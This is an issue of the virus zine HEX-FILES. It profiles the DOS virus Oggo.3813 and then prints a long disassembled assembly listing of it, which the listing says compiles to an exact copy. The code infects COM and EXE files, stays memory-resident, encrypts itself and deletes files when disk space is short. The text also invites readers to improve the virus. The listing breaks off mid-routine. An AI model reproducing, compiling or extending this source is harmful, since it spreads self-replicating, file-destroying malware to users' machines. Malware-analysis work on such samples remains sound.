Copy Link
Add to Bookmark
Report
Hexfiles Issue 2 File 010
HEX-FILES No. 2 File 010
ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
Virus Name: Oggo.3813
Alias : Oggo, Oggo.3837, Oggo.4069, Oggo.4325, Split.4300
Origin : Adamson University, Manila, Philippines
Oggo is an encrypted virus based on Possessed. Like Possessed, it
also came from Adamson University.
Oggo goes resident as a low memory TSR allocating 4710 paragraphs
(75376 bytes). This is because it needed a contiguous memory to
simplify its COM infection process. With this much memory gone, you
would surely feel its presence when your programs suddenly complain
of lack of memory. It hooks int 8 and 21.
Oggo infects COM and EXE programs on EXEC (21/4B00). The virus is
appended to the end of EXE programs. In COM, the virus is at the
beginning of the host program with a 24-byte host program restorer
appended at the end. Oggo's virus code is 3813 bytes long. Its
infective length in COM is 3837 bytes -- 3813 virus code + 24 bytes
host restorer. The first 487 bytes of the host COM program is
encrypted by Oggo. Its infective length in EXE is 4325 bytes -- 3813
virus code + 512 bytes garbage. This 512 byte block represents the
encrypted portion of the host COM program but does not contain
anything of importance in EXE -- code of last infected COM. This is a
result of an error on the part of the virus author.
Oggo has a payload displayed on a delayed timer trigger. The trigger
is variable. It switches to graphics mode and draws a face and
displays the following text:
"
OGGO
by
The PALPAK Group
CpSci, Adamson University
"
Another thing about Oggo is that it is replete with programming
errors or it assumes too much. Fortunately, these do not adversely
affect the execution of the virus nor its host program, except for
two problems.
First, it could not execute the host program that loads it to memory.
This could be traced to the lack of, or improper EXEC parameter
block. Although the virus goes through the motion of initializing the
EXEC param, the content and initialization of the param are not
correct.
Second, it assumes too much. The old int 8 and 21 vectors are
restored when Oggo encrypts its code. If another program hooks int 8
and/or 21 after Oggo had gone resident, the interrupt handler of that
TSR would be disabled.
There are other minor errors in the program and are not worth
mentioning.
If you are itching to lame a virus, Oggo is the right virus for you.
There's a lot of room for improvement, optimization and bug-fixing.
Another Oggo variant, a shorter one, had been spotted in the wild.
The Oggo source code (disasm) included here does not look good. I had a
hard time trying to decide on how to make it look good. Anyhow, here it
is...
ÄÄ OGGO3813.ASM STARTS HERE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;-------------------------------------------------------------------;
; *WARNING*WARNING*WARNING*WARNING*WARNING*WARNING*WARNING*WARNING* ;
; *WARNING WARNING* ;
; *WARNING destructive codes intentional damage WARNING* ;
; *WARNING deletes files WARNING* ;
; *WARNING WARNING* ;
; *WARNING*WARNING*WARNING*WARNING*WARNING*WARNING*WARNING*WARNING* ;
;-------------------------------------------------------------------;
; Virus: Oggo.3813 ;
; Alias: Oggo, Oggo.3837, Oggo.4069, Oggo.4325, Split.4300 ;
; Origin: Adamson University, Manila, Philippines ;
;-------------------------------------------------------------------;
; ;
; This source code is written in a way so that when compiled you ;
; will get an exact copy of the virus. ;
; ;
; You will only be able to duplicate the original virus if you will ;
; use *TASM 2.0* or *MASM 5.0* to compile this program listing. ;
; Other compilers or versions of a compiler might produce a virus ;
; different from that originally released. ;
; ;
; Compile to COM. ;
; ;
;-------------------------------------------------------------------;
; Program listing created by Putoksa Kawayan. HEX-FILES No. 2 ;
;-------------------------------------------------------------------;
;
MemoryMarkerLoc equ 0143h
SaveSsOnInt21 equ 0150h
SaveSpOnInt21 equ 0155h
ErrorIntOffset equ 0e000h
ErrorIntSegment equ 0e004h
Oggo3813 segment 'code'
assume cs:Oggo3813
org 100h
OggoEntry:
call FirstGeneration
pop si
sub si,3
push si
mov di,offset EncryptedCodeStart-100h
add di,si
mov al,'Q'
mov cx,offset EndOfVirusCode+231
Decrypt:
sub cs:[di],al
inc di
loop Decrypt
pop si
EncryptedCodeStart:
mov ax,0
push es ; memory resident check
mov es,ax
cmp word ptr es:MemoryMarkerLoc,1
je Relay01
jmp Relay03
Relay01:
jmp VirusIsInMemory
Psp db ?
TerminateOffset dw ?
TerminateSegment dw ?
ClockInterrupt label dword
ClockIntOffset dw ?
ClockIntSegment dw ?
DosInterrupt label dword
DosIntOffset dw ?
DosIntSegment dw ?
VirusJumper label dword
JumperOffset dw ?
JumperSegment dw ?
dw 0,0
ExecuteHostExe label dword
HostExeOffset dw ?
HostExeSegment dw ?
;--------------------------------
; interrupt 21 handler
;--------------------------------
isDos:
pushf
cmp ax,4b00h ; infect only on exec
je SaveRegisters
jmp PassToDos
SaveRegisters:
push ax
push bx
push cx
push dx
push di
push si
push ds
push es
mov ax,0
mov es,ax
mov word ptr es:MemoryMarkerLoc,1 ; set memory marker
push dx
call CallPop
CallPop:
pop si
mov dx,offset CallPop-100h
sub si,dx
pop dx
push ds
push dx
push si
mov di,offset Asciiz-100h
add di,si
push cx
mov al,0
mov cx,100
WipeAsciiz:
mov cs:[di],al
inc di
loop WipeAsciiz
pop cx
mov di,offset Asciiz-100h
add di,si
push si
mov si,dx ; copy name of executing program
NextCharOfFileSpec:
mov al,[si]
mov cs:[di],al
mov al,cs:[di]
cmp al,20h
je GotEndOfFileSpec
cmp al,0
je GotEndOfFileSpec
inc si
inc di
jmp NextCharOfFileSpec
GotEndOfFileSpec:
pop si
mov al,0
mov cs:[di],al
mov ax,cs:[di-2]
cmp ax,'MO' ; is it a com?
jne NotComFile
mov di,offset FileTypeFlag-100h
add di,si
mov al,0
mov cs:[di],al
pop si
pop dx
pop ds
jmp HookErrorInt
NotComFile:
mov di,offset FileTypeFlag-100h
add di,si
mov al,1
mov cs:[di],al
pop si
pop dx
pop ds
HookErrorInt:
push cs
pop ds
mov ax,3524h ; save int 24 vector
call UseDos
mov cs:ErrorIntOffset,bx
mov cs:ErrorIntSegment,es
mov ax,2524h ; hook int 24
mov dx,offset isError-100h
add dx,100h
call UseDos
mov dx,offset Asciiz-100h
add dx,si
mov ah,43h
mov al,0
call UseDos
mov di,offset Attribute-100h
add di,si
mov cs:[di],cl
mov cs:[di+1],ch
mov dx,offset Asciiz-100h
add dx,si
mov ah,43h ; clear read only attrib
mov al,1
and cl,0fch
call UseDos
jnc AttributeCleared
jmp RestoreErrorInt
AttributeCleared:
mov dx,offset Asciiz-100h
add dx,si
mov ah,3dh
mov al,2
call UseDos
jnc FileOpened
jmp RestoreErrorInt
FileOpened:
mov di,offset Handle-100h
add di,si
mov cs:[di],al
mov cs:[di+1],ah
mov di,offset Handle-100h
add di,si
mov bx,cs:[di]
mov ah,57h
mov al,0
call UseDos
mov di,offset FileTime-100h
add di,si
mov cs:[di],cl
mov cs:[di+1],ch
mov di,offset FileDate-100h
add di,si
mov cs:[di],dl
mov cs:[di+1],dh
mov di,offset FileTypeFlag-100h
add di,si
mov al,cs:[di]
cmp al,1
je isExeFile
jmp isComFile
isExeFile:
mov di,offset Handle-100h
add di,si
mov bx,cs:[di]
mov ah,3fh ; read 48 bytes
mov cx,48
mov dx,offset ExeReadBuff-100h
add dx,si
call UseDos
push bx
mov di,offset ExeReadBuff-100h
add di,si
add di,18
cmp word ptr cs:[di],1970h ; exe infected ?
jne CheckDiskSpace
mov di,offset ExeReadBuff-100h
add di,si
add di,16
cmp word ptr cs:[di],-2 ; verify infection from sp
jne CheckDiskSpace
pop bx
jmp Relay02
CheckDiskSpace:
xor dx,dx
mov ah,36h
mov al,0
call UseDos
xor dx,dx
mul bx
mul cx
or dx,dx
jnz EnoughDiskSpace
mov di,offset EndOfVirusCode+100h
cmp ax,di
jnb EnoughDiskSpace
call DeleteFile
jmp CheckDiskSpace
EnoughDiskSpace:
mov di,offset Handle-100h
add di,si
mov bx,cs:[di]
mov ah,42h
xor cx,cx
xor dx,dx
push ax
push dx
mov al,0
call UseDos
pop dx
pop ax
mov al,2
call UseDos
mov bx,200h
div bx
cmp dx,85
jl SetPagePad
add ax,1
SetPagePad:
add ax,8
mov di,(offset ExeReadBuff+4)-100h
add di,si
mov cs:[di],ax
mov di,(offset ExeReadBuff+8)-100h
add di,si
mov cx,cs:[di]
mov di,(offset ExeReadBuff+22)-100h
add di,si
mov dx,cs:[di]
mov di,offset ExeCs-100h
add di,si
mov cs:[di],dx
mov di,(offset ExeReadBuff+20)-100h
add di,si
mov bx,cs:[di]
mov di,offset ExeIp-100h
add di,si
mov cs:[di],bx
mov di,(offset ExeReadBuff+14)-100h
add di,si
mov dx,cs:[di]
mov di,offset ExeSs-100h
add di,si
mov cs:[di],dx
mov di,(offset ExeReadBuff+16)-100h
add di,si
mov bx,cs:[di]
mov di,offset ExeSp-100h
add di,si
mov cs:[di],bx
pop bx
push bx
push cx
mov ah,42h
xor cx,cx
xor dx,dx
push ax
push dx
mov al,0
call UseDos
pop dx
pop ax
mov al,2
call UseDos
pop cx
mov bx,cx
mov cl,4
shl bx,cl
mov cx,0
sub ax,bx
sbb dx,cx
xor di,di
push ax
mov cx,12
shl dx,cl
mov cx,4
shr ax,cl
add dx,ax
mov di,(offset ExeReadBuff+22)-100h
add di,si
mov cs:[di],dx
mov di,(offset ExeReadBuff+14)-100h
add di,si
mov cs:[di],dx
mov di,(offset ExeReadBuff+16)-100h
add di,si
mov word ptr cs:[di],-2
mov di,(offset ExeReadBuff+18)-100h
add di,si
mov word ptr cs:[di],1970h
pop ax
mov dx,ax
mov cl,4
shr dx,cl
shl dx,cl
sub ax,dx
mov di,(offset ExeReadBuff+20)-100h
add di,si
mov cs:[di],ax
pop bx
mov di,offset Handle-100h
add di,si
mov bx,cs:[di]
xor dx,dx
xor cx,cx
mov ah,42h
mov al,0
call UseDos
mov ah,40h
mov cx,48
mov dx,offset ExeReadBuff-100h
add dx,si
call UseDos
jnc PrepareToWriteVirus
jmp RestoreErrorInt
PrepareToWriteVirus:
mov di,offset Handle-100h
add di,si
mov bx,cs:[di]
xor cx,cx
xor dx,dx
mov al,2
mov ah,42h
call UseDos
push si
push bx
mov di,offset ClockIntSegment ; restore int 8 and 21
mov ax,cs:[di]
mov ds,ax
mov di,offset ClockIntOffset
mov dx,cs:[di]
mov ax,2508h
call UseDos
mov di,offset Trigger
mov al,cs:[di]
mov cs:SavedTrigger,al
cmp cs:Trigger,30 ; trigger for the infection
jle ExeTriggerSet ; is lowered
sub cs:Trigger,30
ExeTriggerSet:
mov di,offset DosIntSegment
mov ax,cs:[di]
mov ds,ax
mov dx,cs:[di-2]
mov ax,2521h
call UseDos
push cs
pop ds
push cs ; copy encryptor
pop es
mov si,offset ExeScrambler
mov di,offset EndOfVirusCode+200h
mov cx,(offset ExeResetInterrupt-offset ExeScrambler)
cld
repe movsb
jmp EndOfVirusCode+200h
ExeScrambler:
mov di,offset EncryptedCodeStart
mov al,'Q' ; encrypt virus
mov cx,offset EndOfVirusCode+231
ExeEncrypt:
add cs:[di],al
inc di
loop ExeEncrypt
pop bx
mov ah,40h ; write encrypted virus
mov cx,offset EndOfVirusCode+100h
mov dx,100h
int 21h
mov di,offset EncryptedCodeStart
mov al,'Q' ; decrypt virus
mov cx,offset EndOfVirusCode+231
ExeDecrypt:
sub cs:[di],al
inc di
loop ExeDecrypt
mov ax,Offset ExeResetInterrupt
jmp ax
ExeResetInterrupt:
pop si ; rehook int 8 and 21
push cs
pop ds
mov di,offset SavedTrigger
mov al,cs:[di]
mov cs:Trigger,al
mov dx,offset isDos
mov ax,2521h
int 21h
mov ax,2508h
mov dx,offset isClock
call UseDos
Relay02:
jmp DoneWithFile
isComFile:
push si
push di
push es
push ds
pushf
mov di,offset Handle-100h
add di,si
mov bx,cs:[di]
mov ah,3fh
mov cx,18
mov dx,offset ComReadBuff-100h
add dx,si
call UseDos
push si
mov ax,si
mov cx,12
mov di,offset ComReadBuff-100h
add di,ax
mov si,0
add si,ax
InfectCheck:
mov al,cs:[di]
mov bl,cs:[si]
cmp bl,al
jne CheckSpace
inc si
inc di
loop InfectCheck
pop si
jmp isInfected
CheckSpace:
xor dx,dx
mov ah,36h
mov al,0
call UseDos
xor dx,dx
mul bx
mul cx
or dx,dx
jnz HaveDiskSpace
mov di,offset EndOfVirusCode+100h
cmp ax,di
jnb HaveDiskSpace
call DeleteFile
jmp CheckSpace
HaveDiskSpace:
pop si
mov di,offset Handle-100h
add di,si
mov bx,cs:[di]
mov ah,42h
jnb MovePointer
jmp RestoreErrorInt
MovePointer:
xor cx,cx
xor dx,dx
push cx
push dx
mov al,0
call UseDos
pop dx
pop cx
mov ah,42h ; get length of com
mov al,2
call UseDos
mov di,offset ComLength-100h
add di,si
mov cs:[di],ax
mov di,offset Handle-100h
add di,si
mov bx,cs:[di]
mov ah,42h
xor cx,cx
xor dx,dx
mov al,0
call UseDos
mov ah,3fh
mov di,offset Handle-100h
add di,si
mov bx,cs:[di]
mov di,offset ComLength-100h
add di,si
mov cx,cs:[di]
mov dx,cs ; read com to end of virus
mov ds,dx
mov dx,offset EndOfVirusCode
call UseDos
add dx,ax
push es
push cs
pop es ; copy restorer code after
push si ; host code
mov si,Offset HostComRestorer
mov di,dx
mov cx,24
cld
repe movsb
pop si
pop es
jmp SkipOverRestorer
HostComRestorer:
mov di,offset ComLength-100h
add di,100h
mov cx,cs:[di]
mov si,offset EndOfVirusCode
mov di,100h
cld
repe movsb
mov ax,100h
jmp ax
SkipOverRestorer:
push di
mov di,offset Handle-100h
add di,si
mov bx,cs:[di]
mov ah,42h
xor cx,cx
xor dx,dx
mov al,0
call UseDos
push si ; restore int 8 and 21
push bx
mov di,offset ClockIntSegment
mov ax,cs:[di]
mov ds,ax
mov di,offset ClockIntOffset
mov dx,cs:[di]
mov ax,2508h
call UseDos
mov di,offset Trigger
mov al,cs:[di]
mov cs:SavedTrigger,al
cmp cs:Trigger,30
jle ComTriggerSet
sub cs:Trigger,30
ComTriggerSet:
mov di,offset DosIntSegment
mov ax,cs:[di]
mov ds,ax
mov dx,cs:[di-2]
mov ax,2521h
call UseDos
push cs
pop ds
push cs
pop es
pop bx ; copy encryptor past host code
pop si
pop di
push si
push bx
mov ax,di
mov si,offset ComScrambler
mov cx,(offset ComResetInterrupt-offset ComScrambler)
cld
repe movsb
jmp ax
ComScrambler:
mov dx,ax
mov di,offset EncryptedCodeStart
mov al,'Q' ; encrypt virus
mov cx,offset EndOfVirusCode+231
ComEncrypt:
add cs:[di],al
inc di
loop ComEncrypt
pop bx
mov ah,40h
mov cx,dx ; write virus + host + restorer
sub cx,100h
mov dx,100h
int 21h
mov di,offset EncryptedCodeStart
mov al,'Q' ; decrypt virus
mov cx,offset EndOfVirusCode+231
ComDecrypt:
sub cs:[di],al
inc di
loop ComDecrypt
mov ax,offset ComResetInterrupt
jmp ax
ComResetInterrupt:
pop si ; rehook int 8 and 21
push cs
pop ds
mov dx,offset isDos
mov ax,2521h
int 21h
mov di,offset SavedTrigger
mov al,cs:[di]
mov cs:Trigger,al
mov ax,2508h
mov dx,offset isClock
call UseDos
isInfected:
popf
pop ds
pop es
pop di
pop si
DoneWithFile:
mov di,offset Handle-100h
add di,si
mov bx,cs:[di]
mov di,offset FileDate-100h
add di,si
mov dx,cs:[di]
mov di,offset FileTime-100h
add di,si
mov cx,cs:[di]
mov ah,57h
mov al,1
call UseDos
jnc CloseFile
jmp RestoreErrorInt
CloseFile:
mov di,offset Handle-100h
add di,si
mov bx,cs:[di]
mov ax,3e00h
call UseDos
mov dx,offset Asciiz-100h
add dx,si
mov ah,43h
mov al,1
mov di,offset Attribute-100h
add di,si
mov cx,cs:[di]
call UseDos
jnc RestoreErrorInt
jmp RestoreErrorInt
RestoreErrorInt:
mov ax,2524h
mov ds,cs:ErrorIntSegment
mov dx,cs:ErrorIntOffset
call UseDos
RestoreRegisters:
pop es
pop ds
pop si
pop di
pop dx
pop cx
pop bx
pop ax
PassToDos:
popf
jmp DosInterrupt
ComReadBuff DB 18 dup (?)
DW ?
SavedTrigger DB ?
DW ?
Asciiz DB 45 dup (?)
Attribute DW ?
DW ?
Handle DW ?
FileDate DW ?
DW ?
FileTime DW ?
DW ?
FileTypeFlag DB ?
ComLength DW ?
DW ?
ExeSs DW ?
ExeSp DW ?
ExeIp DW ?
ExeCs DW ?
ExeReadBuff DB 48 dup (?)
DW 12 dup (?)
ViruSp DW ?
ViruSs DW ?
DeleteFile:
push ax ; deletes files if it does not
push bx ; have enough disk space for
push cx ; infection
push dx
push si
push di
push ds
push cs
pop ds
mov di,offset Dta
mov cx,50
WipeDta:
mov dl,0
mov cs:[di],dl
inc di
loop WipeDta
mov dx,offset Dta
mov ah,1ah
call UseDos
mov dx,offset DeleteAsciiz
mov ah,4eh
mov cx,2
call UseDos
mov ah,43h
mov dx,offset Dta+30
mov al,0
call UseDos
mov dx,offset Dta+30
mov ah,43h
mov al,1
and cl,0fch
call UseDos
mov dx,offset Dta+30
mov ah,41h
call UseDos
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
ret
DeleteAsciiz db '*.*',0
db 0
Dta db 51 dup (?)
;------------------------------------
; int 8 handler and payload routines.
;------------------------------------
isClock:
pushf
push si
push ax
inc cs:Timer
cmp cs:Timer,1092 ;(18.2*60) = 1 minute
je IsItShowTime
jmp NotYetTime
IsItShowTime:
mov cs:Timer,0
inc cs:Minutes
mov si,offset Trigger
mov al,cs:[si]
cmp cs:Minutes,al
je ShowTime
jmp NotYetTime
ShowTime:
push cs
pop ds
cli
mov ah,0
mov al,6
int 10h
mov di,1
mov si,offset ByWord
mov cx,80
DecryptPayloadData:
add cs:[si],di
not byte ptr cs:[si]
inc si
inc di
loop DecryptPayloadData
mov al,1
xor bx,bx
mov ah,12
mov di,offset OggoText
mov dh,19
mov dl,25
call MoveCursorAndShowText
mov di,offset ByWord
mov dh,21
mov dl,25
call MoveCursorAndShowText
mov di,offset Palpak
mov dh,22
mov dl,25
call MoveCursorAndShowText
mov di,offset CpSciAdU
mov dh,23
mov dl,25
call MoveCursorAndShowText
xor bx,bx
mov si,offset MouthDat
mov di,210
mov ax,100
mov bl,1
call WritePixel
mov si,offset EyesDat
mov di,230
mov ax,20
mov bl,1
call WritePixel
mov si,offset EyesDat
mov di,320
mov ax,20
mov bl,1
call WritePixel
push cs
pop ds
mov dx,offset isClock2
mov ah,25h
mov al,8
call UseDos
isClock2:
mov ah,0ch
xor bx,bx
mov cx,10
Disp1:
push cx
mov di,offset FaceDat2
Disp2:
mov al,1
Disp3:
mov si,offset FaceDat1
Disp4:
xor cx,cx
xor dx,dx
mov cl,cs:[si]
mov dl,cs:[si+1]
inc si
inc si
push bx
xor bx,bx
mov bl,cs:[di]
add cx,bx
add cx,225
mov bl,cs:[di+1]
add dx,bx
add dx,20
pop bx
int 10h
xor cx,cx
mov cl,cs:[si]
cmp cx,0feh
jne Disp4
mov si,offset FaceDat1
Disp5:
xor cx,cx
xor dx,dx
mov cl,cs:[si]
mov dl,cs:[si+1]
inc si
inc si
push bx
xor bx,bx
mov bl,cs:[di]
add cx,363
sub cx,bx
mov bl,cs:[di+1]
add dx,bx
pop bx
add dx,20
int 10h
xor cx,cx
mov cl,cs:[si]
cmp cx,0feh
jne Disp5
cmp al,1
jne Disp7
push dx
push es
push ax
mov dx,3000
mov ax,0f000h
mov es,ax
cmp byte ptr es:[0fffeh],-4
jne Disp6
mov dx,0f000h
Disp6:
dec dx
cmp dx,0
jne Disp6
pop ax
pop es
pop dx
mov al,0
jmp Disp3
Disp7:
mov al,1
inc di
inc di
mov dl,cs:[di]
cmp dl,0feh
je Disp8
jmp Disp2
Disp8:
pop cx
jmp Disp1
NotYetTime:
pop ax
pop si
popf
jmp ClockInterrupt
MoveCursorAndShowText:
mov bh,0
mov ah,2
int 10h
WriteChar:
mov al,cs:[di]
mov bl,0
mov bh,0
mov ah,0eh
int 10h
inc di
mov al,cs:[di]
cmp al,'$'
jne WriteChar
ret
WritePixel:
xor cx,cx
xor dx,dx
mov cl,cs:[si]
mov dl,cs:[si+1]
inc si
inc si
add cx,di
add dx,ax
push ax
mov ah,0ch
mov al,bl
mov bh,0
int 10h
pop ax
xor cx,cx
mov cl,cs:[si]
cmp cx,0feh
jne WritePixel
ret
;------------------------------------
;Decrypted text:
;
;ByWord db ' by$$$'
;Palpak db ' The PALPAK Group$$$'
;CpSciAdU db 'CpSci,Adamson University$$$'
;OggoText db ' O G G O$$$'
ByWord db 0deh,0ddh,0dch,0dbh,0dah,0d9h,0d8h,0d7h,0d6h,0d5h,0d4h
db 91h,79h,0cdh,0cch,0cbh
Palpak db 0ceh,0cdh,0cch,0cbh,96h,81h,83h,0c7h,96h,0a4h,98h,93h
db 0a1h,96h,0c0h,98h,6ch,6eh,67h,6bh,0b6h,0b5h,0b4h
CpSciAdU db 94h,66h,82h,71h,6ah,0a6h,90h,6ch,6eh,61h,5ah,5dh,5dh
db 0aah,74h,5ah,5eh,50h,60h,52h,50h,59h,4dh,47h,9bh,9ah,99h
OggoText db 9ch,9bh,9ah,99h,98h,97h,96h,95h,94h,64h,92h,6ah
db 90h,68h,20h,4fh,24h,24h,24h
db 28 dup (?)
Minutes db ?
Timer dw ?
db 5 dup (?)
Trigger db 0d2h
EyesDat db 1,1ah,1,1bh,1,1ch,1,1dh,1,1eh,1,1fh,1,20h,1,21h,1,22h
db 1,23h,1,15h,2,16h,2,17h,2,18h,2,24h,2,25h,2,26h,2,27h
db 3,13h,3,14h,3,28h,3,29h,4,10h,4,11h,4,12h,4,2ah,4,2bh
db 4,2ch,5,0fh,5,2dh,6,0dh,6,0eh,6,2eh,6,2fh,7,0ch,7,30h
db 8,0bh,8,31h,9,0ah,9,32h,0ah,9,0ah,33h,0bh,8,0bh,34h,0ch
db 7,0ch,35h,0dh,6,0dh,36h,0eh,5,0eh,37h,0fh,5,0fh,37h,10h
db 4,10h,38h,11h,3,11h,39h,12h,3,12h,39h,13h,3,13h,39h,14h
db 2,14h,3ah,15h,2,15h,3ah,16h,1,16h,3bh,17h,1,17h,3bh,18h
db 1,18h,3bh,19h,1,19h,3bh,19h,0c8h,1ah,3ch,1ah,0c8h,1bh
db 3ch,1bh,0c8h,1ch,3ch,1ch,0c8h,1dh,3ch,1dh,0c8h,1eh,3ch
db 1eh,0c8h,1fh,3ch,1fh,0c8h,20h,3ch,20h,0c8h,21h,3ch,21h
db 0c8h,22h,3ch,22h,0c8h,23h,3ch,23h,0c8h,24h,3ch,25h,1,25h
db 3bh,26h,1,26h,3bh,27h,1,27h,3bh,28h,1,28h,3bh,29h,2,29h
db 3ah,2ah,2,2ah,3ah,2bh,3,2bh,39h,2ch,3,2ch,39h,2dh,3,2dh
db 39h,2eh,4,2eh,38h,2fh,5,2fh,37h,30h,5,30h,37h,31h,6,31h
db 36h,32h,7,32h,35h,33h,8,33h,34h,34h,9,34h,33h,35h,0ah,35h
db 32h,36h,0bh,36h,31h,37h,0ch,37h,30h,38h,0dh,38h,0eh,38h
db 2eh,38h,2fh,39h,0fh,39h,2dh,3ah,10h,3ah,11h,3ah,12h,3ah
db 2ah,3ah,2bh,3ah,2ch,3bh,13h,3bh,14h,3bh,28h,3bh,29h,3ch
db 15h,3ch,16h,3ch,17h,3ch,18h,3ch,24h,3ch,25h,3ch,26h,3ch
db 27h,3dh,19h,3dh,1ah,3dh,1bh,3dh,1ch,3dh,1dh,3dh,1eh,3dh
db 1fh,3dh,20h,3dh,21h,3dh,22h,3dh,23h,1ah,00h,1bh,00h,1ch
db 00h,1dh,00h,1eh,00h,1fh,00h,20h,00h,21h,00h,22h,00h,23h
db 00h,24h,00h,25h,00h,0feh,0feh
FaceDat1 db 3,0ch,3,0dh,4,0ah,4,0bh,4,0ch,4,0dh,4,0eh,5,0ah,5,0bh,5
db 0ch,5,0dh,5,0eh,6,9,6,0ah,6,0bh,6,0ch,6,0dh,6,0eh,6,0fh,7
db 9,7,0ah,7,0bh,7,0ch,7,0dh,7,0eh,7,0fh,8,9,8,0ah,8,0bh,8
db 0ch,8,0dh,8,0eh,8,0fh,9,8,9,9,9,0ah,9,0bh,9,0ch,9,0dh,9
db 0eh,9,0fh,9,10h,0ah,8,0ah,9,0ah,0ah,0ah,0bh,0ah,0ch,0ah
db 0dh,0ah,0eh,0ah,0fh,0ah,10h,0bh,8,0bh,9,0bh,0ah,0bh,0bh
db 0bh,0ch,0bh,0dh,0bh,0eh,0bh,0fh,0bh,10h,0ch,8,0ch,9,0ch
db 0ah,0ch,0bh,0ch,0ch,0ch,0dh,0ch,0eh,0ch,0fh,0ch,10h,0dh
db 8,0dh,9,0dh,0ah,0dh,0bh,0dh,0ch,0dh,0dh,0dh,0eh,0dh,0fh
db 0dh,10h,0eh,8,0eh,9,0eh,0ah,0eh,0bh,0eh,0ch,0eh,0dh,0eh
db 0eh,0eh,0fh,0eh,10h,0fh,8,0fh,9,0fh,0ah,0fh,0bh,0fh,0ch
db 0fh,0dh,0fh,0eh,0fh,0fh,0fh,10h,10h,8,10h,9,10h,0ah,10h
db 0bh,10h,0ch,10h,0dh,10h,0eh,10h,0fh,10h,10h,11h,8,11h,9
db 11h,0ah,11h,0bh,11h,0ch,11h,0dh,11h,0eh,11h,0fh,11h,10h
db 12h,9,12h,0ah,12h,0bh,12h,0ch,12h,0dh,12h,0eh,12h,0fh,13h
db 9,13h,0ah,13h,0bh,13h,0ch,13h,0dh,13h,0eh,13h,0fh,14h,9
db 14h,0ah,14h,0bh,14h,0ch,14h,0dh,14h,0eh,14h,0fh,15h,0ah
db 15h,0bh,15h,0ch,15h,0dh,15h,0eh,16h,0ah,16h,0bh,16h,0ch
db 16h,0dh,16h,0eh,17h,0bh,17h,0ch,17h,0dh,0feh,0feh
FaceDat2 db 0ch,1,0ah,6,8,12h,8,16h,0ah,1ch,0ch,20h,0ch,24h,12h,26h
db 18h,27h,1eh,27h,22h,26h,23h,24h,23h,18h,24h,14h,24h,0ah
db 1eh,6,14h,1,12h,1,0eh,0feh,0feh
MouthDat db 5,0ch,6,0ch,7,0dh,8,0dh,9,0dh,0ah,0eh,0bh,0eh,0ch,0eh,0dh
db 0fh,0eh,0fh,0fh,0fh,10h,0fh,11h,10h,12h,10h,13h,10h,14h
db 10h,15h,11h,16h,11h,17h,11h,18h,11h,19h,12h,1ah,12h,1bh
db 12h,1ch,12h,1dh,13h,1eh,13h,1fh,13h,20h,13h,21h,13h,22h
db 14h,23h,14h,24h,14h,25h,14h,26h,14h,27h,15h,28h,15h,29h
db 15h,2ah,15h,2bh,15h,2ch,16h,2dh,16h,2eh,16h,2fh,16h,30h
db 16h,31h,16h,32h,16h,33h,17h,34h,17h,35h,17h,36h,17h,37h
db 17h,38h,17h,39h,17h,3ah,18h,3bh,18h,3ch,18h,3dh,18h,3eh
db 18h,3fh,18h,40h,18h,41h,18h,42h,18h,43h,18h,44h,19h,45h
db 19h,46h,19h,47h,19h,48h,19h,49h,19h,4ah,19h,4bh,19h,4ch
db 19h,4dh,19h,4eh,19h,4fh,19h,50h,19h,51h,1ah,52h,1ah,53h
db 1ah,54h,1ah,55h,1ah,56h,1ah,57h,1ah,58h,1ah,59h,1ah,5ah
db 1ah,5bh,1ah,5ch,1ah,5dh,1ah,5eh,1ah,5fh,1ah,60h,1ah,61h
db 1ah,62h,1ah,63h,1ah,64h,1ah,65h,1ah,66h,1ah,67h,1ah,68h
db 1ah,69h,1ah,6ah,1ah,6bh,1ah,6ch,1ah,6dh,1ah,6eh,1ah,6fh
db 1ah,70h,1ah,71h,1ah,72h,1ah,73h,1ah,74h,1ah,75h,1ah,76h
db 1ah,77h,1ah,78h,19h,79h,19h,7ah,19h,7bh,19h,7ch,19h,7dh
db 19h,7eh,19h,7fh,19h,80h,19h,81h,19h,82h,19h,83h,19h,84h
db 19h,85h,18h,86h,18h,87h,18h,88h,18h,89h,18h,8ah,18h,8bh
db 18h,8ch,18h,8dh,18h,8eh,18h,8fh,17h,90h,17h,91h,17h,92h
db 17h,93h,17h,94h,17h,95h,17h,96h,16h,97h,16h,98h,16h,99h
db 16h,9ah,16h,9bh,16h,9ch,16h,9dh,15h,9eh,15h,9fh,15h,0a0h
db 15h,0a1h,15h,0a2h,14h,0a3h,14h,0a4h,14h,0a5h,14h,0a6h,14h
db 0a7h,13h,0a8h,13h,0a9h,13h,0aah,13h,0abh,13h,0ach,12h,0adh
db 12h,0aeh,12h,0afh,12h,0b0h,11h,0b1h,11h,0b2h,11h,0b3h,11h
db 0b4h,10h,0b5h,10h,0b6h,10h,0b7h,10h,0b8h,0fh,0b9h,0fh,0bah
db 0fh,0bbh,0fh,0bch,0eh,0bdh,0eh,0beh,0eh,0bfh,0dh,0c0h,0dh
db 0c1h,0dh,0c2h,0ch,0c3h,0ch,0c4h,0ch,0feh,0feh
isError: ; int 24 handler
xor ax,ax
mov es,ax
mov ss,es:SaveSsOnInt21
mov sp,es:SaveSpOnInt21
pop ax
pop es
pop bp
stc
ret
UseDos:
push bp ; call to int 21
push es
push ax
xor ax,ax
mov es,ax
mov es:SaveSsOnInt21,ss
mov es:SaveSpOnInt21,sp
pop ax
pop es
pushf
call DosInterrupt
pop bp
ret
Relay03:
jmp PrepareMoveCode
MoveCode:
repe movsb
jmp SetUpVirus
PrepareMoveCode:
pop es ; copy code and relocate
push cs
pop ds
push si
mov ax,si
mov di,100h
mov cx,offset EndOfVirusCode+100h
sub cx,100h
add cx,si
push cx
mov si,0
add si,ax
mov cx,offset PrepareMoveCode-100h
add cx,ax
repe movsb
mov bx,offset MoveCode-100h
add bx,100h
pop cx
sub cx,di
mov JumperOffset,bx
mov JumperSegment,es
jmp VirusJumper
SetUpVirus:
pop si
push es
xor ax,ax
mov es,ax
mov word ptr es:MemoryMarkerLoc,1 ; set memory resident mark
push cs
pop ds
pop es
mov word ptr Psp,es ; high byte of saved Psp would
